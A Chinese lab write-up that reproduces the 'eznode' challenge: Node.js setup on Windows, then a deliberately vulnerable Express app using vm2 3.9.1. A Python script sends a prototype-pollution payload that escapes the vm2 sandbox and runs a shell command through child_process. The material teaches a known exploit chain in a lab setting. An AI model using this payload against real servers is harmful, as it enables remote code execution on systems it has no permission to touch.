eznode漏洞实验复现

Windows环境安装

一、下载安装node.js

链接: https://nodejs.org/

下载后直接选择选择下一步安装就行。

二、 问题描述

安装了node.js之后,使用npm --version可能会提示 ‘npm’ 不是内部或外部命令,也不是可运行的程序 或批处理文件。

那么有可能是环境变量没设置好。

三、解决问题

 

 打开高级系统设置

 打开环境变量

 选中Path列,并点击编辑

 配置node.js环境变量(node.js环境变量路径就是安装node的路径)

启动cmd命令窗口输入npm --version查看版本信息

四、安装模块

npm 安装 Node.js 模块语法格式如下:

 npm install <Module Name>

1. 安装express

npm install express

A:\AnQuan\node.js>npm install express

A:\AnQuan\node.js>npm list

…………

A:\AnQuan\node.js

…………

+-- express@4.18.2 extraneous

…………

2. 安装package.json

npm install package.json

…………

A:\AnQuan\node.js>npm list

…………

3. 安装vm2

npm install vm2@3.9.1 #@后面接的是版本

…………

A:\AnQuan\node.js>npm list

…………

+-- vm2@3.9.1 extraneous

…………

4. 执行文件

案例复现

  • 案例
const express = require('express');

const app = express();

const { VM } = require('vm2');



app.use(express.json());



const backdoor = function () {

    try {

        new VM().run({}.shellcode);

    } catch (e) {

        console.log(e);

    }

}



const isObject = obj => obj && obj.constructor && obj.constructor === Object;

const merge = (a, b) => {

    for (var attr in b) {

        if (isObject(a[attr]) && isObject(b[attr])) {

            merge(a[attr], b[attr]);

        } else {

            a[attr] = b[attr];

        }

    }

    return a

}

const clone = (a) => {

    return merge({}, a);

}





app.get('/', function (req, res) {

    res.send("POST some json shit to /.  no source code and try to find source code");

});



app.post('/', function (req, res) {

    try {

        console.log(req.body)

        var body = JSON.parse(JSON.stringify(req.body));

        var copybody = clone(body)

        if (copybody.shit) {

            backdoor()

        }

        res.send("post shit ok")

    }catch(e){

        res.send("is it shit ?")

        console.log(e)

    }

})



app.listen(3000, function () {

    console.log('start listening on port 3000');

});

2.案例代码运行

这里一直处于运行状态,等数据提交

3.python数据提交

 具体代码如下:

import requests

import json

url = "http://192.168.56.1:3000/"

headers = {"Content-type": "application/json"}

data = {"shit": "1", "__proto__": {

    "shellcode": "let res = import('./app.js')\n    res.toString.constructor(\"return this\")\n    ().process.mainModule.require(\"child_process\").execSync('dir').toString();"}}

req = requests.post(url=url, headers=headers, data=json.dumps(data))

print(req.text)

注意:url = "http://192.168.56.1:3000/"中的IP地址来自如下:

当python数据提交时,上面运行的js.js的程序就会收到数据

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值